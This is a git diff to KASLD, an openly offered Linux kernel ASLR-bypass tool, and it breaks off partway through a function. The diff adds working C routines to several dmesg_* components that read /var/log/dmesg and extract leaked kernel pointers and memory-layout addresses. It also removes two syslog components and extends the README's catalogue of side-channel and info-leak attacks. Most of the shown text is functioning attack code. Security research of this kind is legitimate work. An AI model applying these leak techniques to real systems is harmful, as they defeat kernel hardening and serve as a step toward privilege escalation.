diff --git a/Makefile b/Makefile index 88cb9f8..8163565 100644 --- a/Makefile +++ b/Makefile @@ -38,8 +38,6 @@ all : -$(CC) $(FLAGS) $(SRC_DIR)/sysfs_iscsi_transport_handle.c -o $(BUILD_DIR)/sysfs_iscsi_transport_handle.o -$(CC) $(FLAGS) $(SRC_DIR)/sysfs-module-sections.c -o $(BUILD_DIR)/sysfs-module-sections.o -$(CC) $(FLAGS) $(SRC_DIR)/sysfs_nf_conntrack.c -o $(BUILD_DIR)/sysfs_nf_conntrack.o - -$(CC) $(FLAGS) $(SRC_DIR)/syslog_backtrace.c -o $(BUILD_DIR)/syslog_backtrace.o - -$(CC) $(FLAGS) $(SRC_DIR)/syslog_free_reserved_area.c -o $(BUILD_DIR)/syslog_free_reserved_area.o clean : rm -f $(BUILD_DIR)/*.o diff --git a/README.md b/README.md index 34d11f9..f011a89 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ Supports: ## Usage ``` -sudo apt install libc-dev make gcc git +sudo apt install libc-dev make gcc binutils git git clone https://github.com/bcoles/kasld cd kasld ./kasld @@ -105,16 +105,29 @@ additional noteworthy techniques not included for various reasons. Kernel and system logs (`dmesg` / `syslog`) offer a wealth of information, including kernel pointers and the layout of virtual and physical memory. +Several KASLD components search the kernel message ring buffer for kernel addresses. +The following KASLD components read from `dmesg` and `/var/log/dmesg`: + +* [dmesg_android_ion_snapshot.c](src/dmesg_android_ion_snapshot.c) +* [dmesg_backtrace.c](src/dmesg_backtrace.c) +* [dmesg_check_for_initrd.c](src/dmesg_check_for_initrd.c) +* [dmesg_driver_component_ops.c](src/dmesg_driver_component_ops.c) +* [dmesg_early_init_dt_add_memory_arch.c](src/dmesg_early_init_dt_add_memory_arch.c) +* [dmesg_ex_handler_msr.c](src/dmesg_ex_handler_msr.c) +* [dmesg_fake_numa_init.c](src/dmesg_fake_numa_init.c) +* [dmesg_free_area_init_node.c](src/dmesg_free_area_init_node.c) +* [dmesg_free_reserved_area.c](src/dmesg_free_reserved_area.c) +* [dmesg_kaslr-disabled.c](src/dmesg_kaslr-disabled.c) +* [dmesg_mem_init_kernel_layout.c](src/dmesg_mem_init_kernel_layout.c) +* [dmesg_mmu_idmap.c](src/dmesg_mmu_idmap.c) + Historically, raw kernel pointers were frequently printed to the system log without using the [`%pK` printk format](https://www.kernel.org/doc/html/latest/core-api/printk-formats.html). * https://github.com/torvalds/linux/search?p=1&q=%25pK&type=Commits -Several KASLD components search the kernel ring buffer for kernel addresses. -Refer to `dmesg_*` files in the [src](src/) directory. - Bugs which trigger a kernel oops can be used to leak kernel pointers by reading -the associated backtrace from system log (on systems with `kernel.panic_on_oops = 0`). +the associated backtrace from system logs (on systems with `kernel.panic_on_oops = 0`). There are countless examples. A few simple examples are available in the [extra](extra/) directory: @@ -128,11 +141,17 @@ unprivileged access. System log files (ie, `/var/log/syslog`) are readable only by privileged users on modern distros. On Debian/Ubuntu systems, users in the `adm` group also have -read permissions on various system log files in `/var/log/`. Typically the first -user created on an Ubuntu system is a member of the `adm` group. +read permissions on various system log files in `/var/log/`: -Several KASLD components read from `/var/log/syslog`. -Refer to `syslog_*` files in the [src](src/) directory. +``` +$ ls -la /var/log/syslog /var/log/kern.log /var/log/dmesg +-rw-r----- 1 root adm 147726 Jan 8 01:43 /var/log/dmesg +-rw-r----- 1 syslog adm 230 Jan 15 00:00 /var/log/kern.log +-rw-r----- 1 syslog adm 8322 Jan 15 04:26 /var/log/syslog +``` + +Typically the first user created during installation of an Ubuntu system +is a member of the `adm` group and will have read access to these files. Additionally, [an initscript bug](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867747) present from 2017-2019 caused the `/var/log/dmesg` log file to be generated @@ -157,7 +176,7 @@ readable in some non-default configurations. There are a plethora of viable hardware-related attacks which can be used to break KASLR, in particular timing side-channels and transient execution attacks. -KASLD includes the following hardare-related KASLR breaks: +KASLD includes the following hardware-related KASLR breaks: * [EntryBleed (CVE-2022-4543)](src/entrybleed.c) @@ -179,7 +198,8 @@ address to `0x4000_0000 / 0x20_0000 = 512` possible locations. Weaknesses in randomisation can decrease entropy, further limiting the possible kernel locations in memory and making the kernel easier to locate. -KASLR may be disabled if insufficient randomness is generated during boot (for example, if `get_kaslr_seed()` fails on ARM64). +KASLR may be disabled if insufficient randomness is generated during boot +(for example, if `get_kaslr_seed()` fails on ARM64). Refer to the [Weak Entropy](#weak-entropy) section for more information. @@ -233,8 +253,20 @@ Refer to the [Weak Entropy](#weak-entropy) section for more information. [LVI: Hijacking Transient Execution through Microarchitectural Load Value Injection](https://www.semanticscholar.org/paper/LVI:-Hijacking-Transient-Execution-through-Load-Bulck-Moghimi/5cbf634d4308a30b2cddb4c769056750233ddaf6) (Jo Van Bulck, Daniel Moghimi, Michael Schwarz, Moritz Lipp, Marina Minkin, Daniel Genkin, Yuval Yarom, Berk Sunar, Daniel Gruss, and Frank Piessens, 2020) +[Exploiting Microarchitectural Optimizations from Software](https://diglib.tugraz.at/download.php?id=61adc85670183&location=browse) (Moritz Lipp. 2021) + [Hardening the Kernel Against Unprivileged Attacks](https://www.cc0x1f.net/publications/thesis.pdf) (Claudio Canella, 2022) +[ThermalBleed: A Practical Thermal Side-Channel Attack](https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=9727162) (Taehun Kim, Youngjoo Shin. 2022) + +AMD prefetch and power-based side channel attacks (CVE-2021-26318): + + * https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1017 + * [AMD Prefetch Attacks through Power and Time](https://www.usenix.org/conference/usenixsecurity22/presentation/lipp) (Moritz Lipp, Daniel Gruss, Michael Schwarz. 2022) + * https://www.usenix.org/system/files/sec22-lipp.pdf + * USENIX Security 2022 Presentation: https://www.youtube.com/watch?v=bTV-9-B26_w + * https://github.com/amdprefetch/amd-prefetch-attacks/tree/master/case-studies/kaslr-break + Microarchitectural Data Sampling (MDS) side-channel attacks: * [Fallout: Leaking Data on Meltdown-resistant CPUs](https://mdsattacks.com/files/fallout.pdf) (Claudio Canella, Daniel Genkin, Lukas Giner, Daniel Gruss, Moritz Lipp, Marina Minkin, Daniel Moghimi, Frank Piessens, Michael Schwarz, Berk Sunar, Jo Van Bulck, Yuval Yarom, 2019) @@ -319,7 +351,13 @@ TagBleed: Tagged Translation Lookaside Buffer (TLB) side-channel attacks: ### Kernel Info Leaks -Patched bugs caught by KernelMemorySanitizer (KMSAN): +Patched kernel info leak bugs: + + * [https://github.com/torvalds/linux/search?p=1&type=Commits&q=kernel-infoleak](https://github.com/torvalds/linux/search?p=1&type=Commits&q=kernel-infoleak) + * `git clone https://github.com/torvalds/linux && cd linux && git log | grep 'kernel-infoleak'` + +Patched kernel info leak bugs caught by KernelMemorySanitizer (KMSAN): + * [https://github.com/torvalds/linux/search?p=1&type=Commits&q=BUG: KMSAN: kernel-infoleak](https://github.com/torvalds/linux/search?p=1&type=Commits&q=BUG:%20KMSAN:%20kernel-infoleak) * `git clone https://github.com/torvalds/linux && cd linux && git log | grep "BUG: KMSAN: kernel-infoleak"` @@ -332,7 +370,10 @@ Remote kernel pointer leak via IP packet headers (CVE-2019-10639): * [From IP ID to Device ID and KASLR Bypass](https://arxiv.org/pdf/1906.10478.pdf) -[show_floppy kernel function pointer leak](https://www.exploit-db.com/exploits/44325) (CVE-2018-7273) (requires `floppy` driver). +floppy block driver `show_floppy` kernel function pointer leak (CVE-2018-7273) (requires `floppy` driver and access to `dmesg`). + + * [Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak](https://www.exploit-db.com/exploits/44325) (Gregory Draperi. 2018) + * https://xorl.wordpress.com/2018/03/18/cve-2018-7273-linux-kernel-floppy-information-leak/ `kernel_waitid` leak (CVE-2017-14954) (affects kernels 4.13-rc1 to 4.13.4): diff --git a/kasld b/kasld index 063d6d6..b7e756a 100755 --- a/kasld +++ b/kasld @@ -179,16 +179,6 @@ if [ -x "${build}/sysfs_nf_conntrack.o" ]; then echo fi -if [ -x "${build}/syslog_backtrace.o" ]; then - "${build}/syslog_backtrace.o" - echo -fi - -if [ -x "${build}/syslog_free_reserved_area.o" ]; then - "${build}/syslog_free_reserved_area.o" - echo -fi - # slow - leave last if [ -x "${build}/mincore.o" ]; then "${build}/mincore.o" diff --git a/src/dmesg_android_ion_snapshot.c b/src/dmesg_android_ion_snapshot.c index 92dc39c..36611ac 100644 --- a/src/dmesg_android_ion_snapshot.c +++ b/src/dmesg_android_ion_snapshot.c @@ -8,7 +8,8 @@ // Android ION drivers were removed in kernel v5.11-rc1. // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://lwn.net/Articles/576966/ @@ -64,8 +65,55 @@ unsigned long search_dmesg_ion_snapshot() { return 0; } +unsigned long search_dmesg_log_file_ion_snapshot() { + FILE *f; + char *endptr; + char *substr; + char *addr_buf; + char *line_buf; + const char *path = "/var/log/dmesg"; + const char *needle1 = "ion_snapshot: "; + const char *needle2 = "and copy to 0x"; + unsigned long addr = 0; + char buff[BUFSIZ]; + + printf("[.] searching %s for '%s' ...\n", path, needle1); + + f = fopen(path, "rb"); + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((fgets(buff, BUFSIZ, f)) != NULL) { + substr = strstr(buff, needle1); + if (substr == NULL) + continue; + + line_buf = strtok(substr, "\n"); + if (line_buf == NULL) + break; + + addr_buf = strstr(substr, needle2); + if (addr_buf == NULL) + break; + + addr = strtoul(&addr_buf[strlen(needle2)], &endptr, 16); + + if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) + break; + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = search_dmesg_ion_snapshot(); + if (!addr) + addr = search_dmesg_log_file_ion_snapshot(); + if (!addr) return 1; diff --git a/src/dmesg_backtrace.c b/src/dmesg_backtrace.c index e9bd534..a14cd84 100644 --- a/src/dmesg_backtrace.c +++ b/src/dmesg_backtrace.c @@ -4,7 +4,8 @@ // that looks like a kernel pointer. // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // - kernel.panic_on_oops = 0 (Default on most systems). // --- // @@ -49,8 +50,51 @@ unsigned long search_dmesg_kernel_pointers() { return addr; } +unsigned long search_dmesg_log_file_kernel_pointers() { + FILE *f; + char *ptr; + char *endptr; + char *line = 0; + size_t size = 0; + const char *path = "/var/log/dmesg"; + unsigned long leaked_addr = 0; + unsigned long addr = 0; + + printf("[.] searching %s for call trace kernel pointers ...\n", path); + + f = fopen(path, "rb"); + + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((getline(&line, &size, f)) != -1) { + ptr = strtok(line, "[<"); + while ((ptr = strtok(NULL, "[<")) != NULL) { + leaked_addr = strtoul(&ptr[0], &endptr, 16); + + if (!leaked_addr) + continue; + + if (leaked_addr >= KERNEL_BASE_MIN && leaked_addr <= KERNEL_BASE_MAX) { + // printf("Found kernel pointer: %lx\n", leaked_addr); + if (!addr || leaked_addr < addr) + addr = leaked_addr; + } + } + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = search_dmesg_kernel_pointers(); + if (!addr) + addr = search_dmesg_log_file_kernel_pointers(); + if (!addr) return 1; diff --git a/src/dmesg_check_for_initrd.c b/src/dmesg_check_for_initrd.c index f3f42ee..e53ae77 100644 --- a/src/dmesg_check_for_initrd.c +++ b/src/dmesg_check_for_initrd.c @@ -8,7 +8,8 @@ // // Requires: // - CONFIG_BLK_DEV_INITRD=y -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://elixir.bootlin.com/linux/v6.1.1/source/arch/powerpc/kernel/setup-common.c#L385 @@ -24,7 +25,7 @@ #include #include -unsigned long get_kernel_addr_dmesg_check_for_initrd() { +unsigned long search_dmesg_check_for_initrd() { char *syslog; char *endptr; char *substr; @@ -57,8 +58,52 @@ unsigned long get_kernel_addr_dmesg_check_for_initrd() { return 0; } +unsigned long search_dmesg_log_file_check_for_initrd() { + FILE *f; + char *endptr; + char *substr; + char *line_buf; + const char *path = "/var/log/dmesg"; + const char *needle = "Found initrd at 0x"; + unsigned long addr = 0; + char buff[BUFSIZ]; + + printf("[.] searching %s for check_for_initrd() info ...\n", path); + + f = fopen(path, "rb"); + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((fgets(buff, BUFSIZ, f)) != NULL) { + substr = strstr(buff, needle); + if (substr == NULL) + continue; + + line_buf = strtok(substr, "\n"); + if (line_buf == NULL) + break; + + /* Found initrd at 0xc000000001a00000:0xc000000002a26000 */ + // printf("%s\n", line_buf); + + addr = strtoul(&line_buf[strlen(needle)], &endptr, 16); + + if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) + break; + } + + fclose(f); + + return addr; +} + int main() { - unsigned long addr = get_kernel_addr_dmesg_check_for_initrd(); + unsigned long addr = search_dmesg_check_for_initrd(); + if (!addr) + addr = search_dmesg_log_file_check_for_initrd(); + if (!addr) return 1; diff --git a/src/dmesg_driver_component_ops.c b/src/dmesg_driver_component_ops.c index 8cdf1b9..2a33019 100644 --- a/src/dmesg_driver_component_ops.c +++ b/src/dmesg_driver_component_ops.c @@ -17,7 +17,8 @@ // the kernel image. // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // - CONFIG_KALLSYMS=n // // References: @@ -74,11 +75,58 @@ unsigned long search_dmesg_driver_component_ops() { return addr; } +unsigned long search_dmesg_log_file_driver_component_ops() { + FILE *f; + char *endptr; + char *line = 0; + size_t size = 0; + char *ops_buf; + const char *path = "/var/log/dmesg"; + const char *needle = " (ops 0x"; + unsigned long leaked_addr = 0; + unsigned long addr = 0; + + printf("[.] searching %s for driver component ops pointers ...\n", path); + + f = fopen(path, "rb"); + + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((getline(&line, &size, f)) != -1) { + ops_buf = strstr(line, needle); + + if (ops_buf == NULL) + continue; + + leaked_addr = strtoul(&ops_buf[strlen(needle)], &endptr, 16); + + if (!leaked_addr) + continue; + + if (leaked_addr >= KERNEL_BASE_MIN && leaked_addr <= KERNEL_BASE_MAX) { + // printf("Found kernel pointer: %lx\n", leaked_addr); + if (!addr || leaked_addr < addr) + addr = leaked_addr; + } + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = search_dmesg_driver_component_ops(); + if (!addr) + addr = search_dmesg_log_file_driver_component_ops(); + if (!addr) return 1; + printf("lowest leaked address: %lx\n", addr); printf("possible kernel base: %lx\n", addr & -KERNEL_ALIGN); diff --git a/src/dmesg_early_init_dt_add_memory_arch.c b/src/dmesg_early_init_dt_add_memory_arch.c index 187f5b4..2ba08f1 100644 --- a/src/dmesg_early_init_dt_add_memory_arch.c +++ b/src/dmesg_early_init_dt_add_memory_arch.c @@ -15,7 +15,8 @@ // identify the kernel virtual address region used for direct mapping. // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://elixir.bootlin.com/linux/v6.1.1/source/drivers/of/fdt.c#L1251 @@ -42,7 +43,7 @@ unsigned long get_phys_addr_dmesg_early_init_dt_add_memory_arch() { int size; unsigned long addr = 0; - printf("[.] searching for early_init_dt_add_memory_arch() ignored memory " + printf("[.] searching dmesg for early_init_dt_add_memory_arch() ignored memory " "ranges ...\n"); if (mmap_syslog(&syslog, &size)) @@ -76,8 +77,65 @@ unsigned long get_phys_addr_dmesg_early_init_dt_add_memory_arch() { return 0; } +unsigned long get_phys_addr_dmesg_log_file_early_init_dt_add_memory_arch() { + FILE *f; + char *endptr; + char *substr; + char *addr_buf; + char *line_buf; + const char *path = "/var/log/dmesg"; + const char *needle = "OF: fdt: Ignoring memory range 0x"; + unsigned long addr = 0; + char buff[BUFSIZ]; + + printf("[.] searching %s for early_init_dt_add_memory_arch() ignored memory " + "ranges ...\n", path); + + f = fopen(path, "rb"); + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((fgets(buff, BUFSIZ, f)) != NULL) { + substr = strstr(buff, needle); + if (substr == NULL) + continue; + + line_buf = strtok(substr, "\n"); + if (line_buf == NULL) + break; + + /* OF: fdt: Ignoring memory range 0x80000000 - 0x80200000 */ + // printf("%s\n", line_buf); + + addr_buf = strstr(line_buf, " - "); + if (addr_buf == NULL) + break; + + addr = strtoul(&addr_buf[2], &endptr, 16); + + if (addr >= KERNEL_VAS_END) { + addr = 0; + break; + } + + if (addr) { + printf("leaked DRAM physical address: %#018lx\n", addr); + break; + } + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = get_phys_addr_dmesg_early_init_dt_add_memory_arch(); + if (!addr) + addr = get_phys_addr_dmesg_log_file_early_init_dt_add_memory_arch(); + if (!addr) return 1; diff --git a/src/dmesg_ex_handler_msr.c b/src/dmesg_ex_handler_msr.c index cde15ff..2c7c954 100644 --- a/src/dmesg_ex_handler_msr.c +++ b/src/dmesg_ex_handler_msr.c @@ -35,7 +35,8 @@ // possible kernel base: ffffffffad400000 // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://elixir.bootlin.com/linux/v6.1.1/source/arch/x86/mm/extable.c @@ -93,8 +94,55 @@ unsigned long search_dmesg_ex_handler_msr() { return addr; } +unsigned long search_dmesg_log_file_ex_handler_msr() { + FILE *f; + char *endptr; + char *line = 0; + char *addr_buf; + size_t size = 0; + const char *path = "/var/log/dmesg"; + const char *needle = " at rIP: 0x"; + unsigned long leaked_addr = 0; + unsigned long addr = 0; + + printf( + "[.] searching %s for native_[read|write]_msr function pointer ...\n", path); + + f = fopen(path, "rb"); + + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((getline(&line, &size, f)) != -1) { + addr_buf = strstr(line, needle); + + if (addr_buf == NULL) + continue; + + leaked_addr = strtoul(&addr_buf[strlen(needle)], &endptr, 16); + + if (!leaked_addr) + continue; + + if (leaked_addr >= KERNEL_BASE_MIN && leaked_addr <= KERNEL_BASE_MAX) { + // printf("Found kernel pointer: %lx\n", leaked_addr); + if (!addr || leaked_addr < addr) + addr = leaked_addr; + } + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = search_dmesg_ex_handler_msr(); + if (!addr) + addr = search_dmesg_log_file_ex_handler_msr(); + if (!addr) return 1; diff --git a/src/dmesg_fake_numa_init.c b/src/dmesg_fake_numa_init.c index bfe88a3..d0f3ba1 100644 --- a/src/dmesg_fake_numa_init.c +++ b/src/dmesg_fake_numa_init.c @@ -12,7 +12,8 @@ // Interface (ACPI) do not support NUMA. // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://cateee.net/lkddb/web-lkddb/NUMA.html @@ -42,7 +43,7 @@ unsigned long get_phys_addr_dmesg_fake_numa_init() { int size; unsigned long addr = 0; - printf("[.] searching for fake_numa_init() info ...\n"); + printf("[.] searching dmesg for fake_numa_init() info ...\n"); if (mmap_syslog(&syslog, &size)) return 0; @@ -69,8 +70,56 @@ unsigned long get_phys_addr_dmesg_fake_numa_init() { return 0; } +unsigned long get_phys_addr_dmesg_log_file_fake_numa_init() { + FILE *f; + char *endptr; + char *substr; + char *addr_buf; + char *line_buf; + const char *path = "/var/log/dmesg"; + const char *needle = "NUMA: Faking a node at"; + unsigned long addr = 0; + char buff[BUFSIZ]; + + printf("[.] searching %s for free_area_init_node() info ...\n", path); + + f = fopen(path, "rb"); + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((fgets(buff, BUFSIZ, f)) != NULL) { + substr = strstr(buff, needle); + if (substr == NULL) + continue; + + line_buf = strtok(substr, "\n"); + if (line_buf == NULL) + break; + + /* NUMA: Faking a node at [mem 0x0000000080200000-0x00000000bfffffff] */ + // printf("%s\n", line_buf); + + addr_buf = strstr(line_buf, " [mem "); + if (addr_buf == NULL) + break; + + addr = strtoul(&addr_buf[5], &endptr, 16); + if (addr) + break; + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = get_phys_addr_dmesg_fake_numa_init(); + if (!addr) + addr = get_phys_addr_dmesg_log_file_fake_numa_init(); + if (!addr) return 1; diff --git a/src/dmesg_free_area_init_node.c b/src/dmesg_free_area_init_node.c index 2d63ec8..5437c34 100644 --- a/src/dmesg_free_area_init_node.c +++ b/src/dmesg_free_area_init_node.c @@ -8,7 +8,8 @@ // identify the kernel virtual address region used for direct mapping. // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://elixir.bootlin.com/linux/v6.1.1/source/mm/page_alloc.c#L7927 @@ -35,7 +36,7 @@ unsigned long get_phys_addr_dmesg_free_area_init_node() { int size; unsigned long addr = 0; - printf("[.] searching for free_area_init_node() info ...\n"); + printf("[.] searching dmesg for free_area_init_node() info ...\n"); if (mmap_syslog(&syslog, &size)) return 0; @@ -62,8 +63,56 @@ unsigned long get_phys_addr_dmesg_free_area_init_node() { return 0; } +unsigned long get_phys_addr_dmesg_log_file_free_area_init_node() { + FILE *f; + char *endptr; + char *substr; + char *addr_buf; + char *line_buf; + const char *path = "/var/log/dmesg"; + const char *needle = "Initmem setup node 0 "; + unsigned long addr = 0; + char buff[BUFSIZ]; + + printf("[.] searching %s for free_area_init_node() info ...\n", path); + + f = fopen(path, "rb"); + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((fgets(buff, BUFSIZ, f)) != NULL) { + substr = strstr(buff, needle); + if (substr == NULL) + continue; + + line_buf = strtok(substr, "\n"); + if (line_buf == NULL) + break; + + /* Initmem setup node 0 [mem 0x0000000080200000-0x00000000ffffffff] */ + // printf("%s\n", line_buf); + + addr_buf = strstr(line_buf, " [mem "); + if (addr_buf == NULL) + break; + + addr = strtoul(&addr_buf[5], &endptr, 16); + if (addr) + break; + } + + fclose(f); + + return addr; +} + int main() { unsigned long addr = get_phys_addr_dmesg_free_area_init_node(); + if (!addr) + addr = get_phys_addr_dmesg_log_file_free_area_init_node(); + if (!addr) return 1; diff --git a/src/dmesg_free_reserved_area.c b/src/dmesg_free_reserved_area.c index f72473b..b36086b 100644 --- a/src/dmesg_free_reserved_area.c +++ b/src/dmesg_free_reserved_area.c @@ -1,6 +1,7 @@ // This file is part of KASLD - https://github.com/bcoles/kasld // -// free_reserved_area() dmesg KASLR bypass for SMP kernels. +// free_reserved_area() printed virtual memory layout information to dmesg +// for SMP kernels: // // x86: // [ 0.985903] Freeing unused kernel memory: 872K (c19b4000 - c1a8e000) @@ -11,17 +12,17 @@ // ppc64: // [ 2.950991] Freeing unused kernel memory: 960K (c000000000920000 - c000000000a10000) // -// free_reserved_area() leak was removed in kernel v4.10-rc1 on 2016-10-26: +// Removed in kernel v4.10-rc1 on 2016-10-26: // https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7 // -// Mostly taken from original code by xairy: -// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c -// // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // // References: // https://web.archive.org/web/20171029060939/http://www.blackbunny.io/linux-kernel-x86-64-bypass-smep-kaslr-kptr_restric/ +// https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7 +// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c // --- // @@ -34,7 +35,7 @@ #include #include -unsigned long get_kernel_addr_dmesg_free_reserved_area() { +unsigned long search_dmesg_free_reserved_area() { char *syslog; char *endptr; char *substr; @@ -44,7 +45,7 @@ unsigned long get_kernel_addr_dmesg_free_reserved_area() { int size; unsigned long addr = 0; - printf("[.] searching for free_reserved_area() info ...\n"); + printf("[.] searching dmesg for free_reserved_area() info ...\n"); if (mmap_syslog(&syslog, &size)) return 0; @@ -72,8 +73,56 @@ unsigned long get_kernel_addr_dmesg_free_reserved_area() { return 0; } +unsigned long search_dmesg_log_file_free_reserved_area() { + FILE *f; + char *endptr; + char *substr; + char *addr_buf; + char *line_buf; + const char *path = "/var/log/dmesg"; + const char *needle = "Freeing unused kernel memory"; + unsigned long addr = 0; + char buff[BUFSIZ]; + + printf("[.] searching %s for free_reserved_area() info ...\n", path); + + f = fopen(path, "rb"); + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((fgets(buff, BUFSIZ, f)) != NULL) { + substr = strstr(buff, needle); + if (substr == NULL) + continue; + + line_buf = strtok(substr, "\n"); + if (line_buf == NULL) + break; + + addr_buf = strstr(line_buf, "("); + if (addr_buf == NULL) + break; + + addr = strtoul(&addr_buf[1], &endptr, 16); + + if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) + break; + + addr = 0; + } + + fclose(f); + + return addr; +} + int main() { - unsigned long addr = get_kernel_addr_dmesg_free_reserved_area(); + unsigned long addr = search_dmesg_free_reserved_area(); + if (!addr) + addr = search_dmesg_log_file_free_reserved_area(); + if (!addr) return 1; diff --git a/src/dmesg_kaslr-disabled.c b/src/dmesg_kaslr-disabled.c index 5fb78be..568f593 100644 --- a/src/dmesg_kaslr-disabled.c +++ b/src/dmesg_kaslr-disabled.c @@ -41,7 +41,7 @@ unsigned long search_dmesg_kaslr_disabled() { const char *needle = "KASLR disabled"; bool nokaslr = false; - printf("[.] searching dmesg for \"%s\" ...\n", needle); + printf("[.] searching dmesg for '%s' ...\n", needle); if (mmap_syslog(&syslog, &size)) return 0; @@ -70,7 +70,7 @@ unsigned long search_dmesg_log_file_kaslr_disabled() { const char *needle = "KASLR disabled"; bool nokaslr = false; - printf("[.] searching %s for \"%s\" ...\n", path, needle); + printf("[.] searching %s for '%s' ...\n", path, needle); f = fopen(path, "rb"); diff --git a/src/dmesg_mem_init_kernel_layout.c b/src/dmesg_mem_init_kernel_layout.c index 567ad78..c093406 100644 --- a/src/dmesg_mem_init_kernel_layout.c +++ b/src/dmesg_mem_init_kernel_layout.c @@ -47,7 +47,8 @@ // https://elixir.bootlin.com/linux/v6.1.1/source/arch/sh/mm/init.c#L371 // // Requires: -// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities. +// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or +// readable /var/log/dmesg. // - CONFIG_DEBUG_VM on RISC-V systems // --- // @@ -63,14 +64,13 @@ #include unsigned long search_dmesg_mem_init_kernel_text() { - char *addr_buf; char *substr; char *syslog; + char *addr_buf; char *text_buf; char *ptr; char *endptr; int size; - const char delim[] = " "; unsigned long addr = 0; const char *needle = " kernel memory layout:"; @@ -93,8 +93,8 @@ unsigned long search_dmesg_mem_init_kernel_text() { // printf("%s\n", addr_buf); - ptr = strtok(addr_buf, delim); - while ((ptr = strtok(NULL, delim)) != NULL) { + ptr = strtok(addr_buf, " "); + while ((ptr = strtok(NULL, " ")) != NULL) { addr = strtoul(&ptr[0], &endptr, 16); if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) @@ -106,15 +106,62 @@ unsigned long search_dmesg_mem_init_kernel_text() { return addr; } -unsigned long search_dmesg_mem_init_lowmem() { +unsigned long search_dmesg_log_file_mem_init_kernel_text() { + FILE *f; + char *endptr; + char *line = 0; + char *ptr; char *addr_buf; + char *text_buf; + size_t size = 0; + const char *path = "/var/log/dmesg"; + const char *needle = " .text : 0x"; + unsigned long addr = 0; + + printf("[.] searching %s for '%s' ...\n", path, needle); + + f = fopen(path, "rb"); + + if (f == NULL) { + perror("[-] fopen"); + return 0; + } + + while ((getline(&line, &size, f)) != -1) { + text_buf = strstr(line, needle); + if (text_buf == NULL) + continue; + + addr_buf = strtok(text_buf, "\n"); + if (addr_buf == NULL) + continue; + + // printf("%s\n", addr_buf); + + ptr = strtok(addr_buf, " "); + while ((ptr = strtok(NULL, " ")) != NULL) { + addr = strtoul(&ptr[0], &endptr, 16); + + if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX) + break; + + addr = 0; + } + } + + fclose(f); + + return addr; +} + +unsigned long search_dmesg_mem_init_lowmem() { char *substr; char *syslog; + char *addr_buf; char *text_buf; char *ptr; char *endptr; int size; - const char delim[] = " "; unsigned long addr = 0; const char *needle = " kernel memory layout:"; @@ -137,8 +184,8 @@ unsigned long search_dmesg_mem_init_lowmem() { // printf("%s\n", addr_buf); - ptr = strtok(addr_buf, delim); - while ((ptr = strtok(NULL, delim)) != NULL) { + ptr = strtok(addr_buf, " "); + while ((ptr = strtok(NULL, " ")) != NULL) { addr = strtoul(&ptr[0], &endptr, 16); if (addr && addr <= KERNEL_VAS_END) @@ -150,14 +197,72 @@ unsigned long search_dmesg_mem_init_lowmem() { return addr; } +unsigned long search_dmesg_log_file_mem_init_lowmem() { + FILE *f; + char *endptr; + char *line = 0; + char *ptr; + char *addr_buf; + char *text_buf; + size_t size = 0; + const char *path = "/var/log/dmesg"; + const char *needle = " lowmem "; + unsigned long addr = 0; + + printf("[.] searching %s for '%s' ...\n", path, needle); + + f = fopen(path, "rb"); 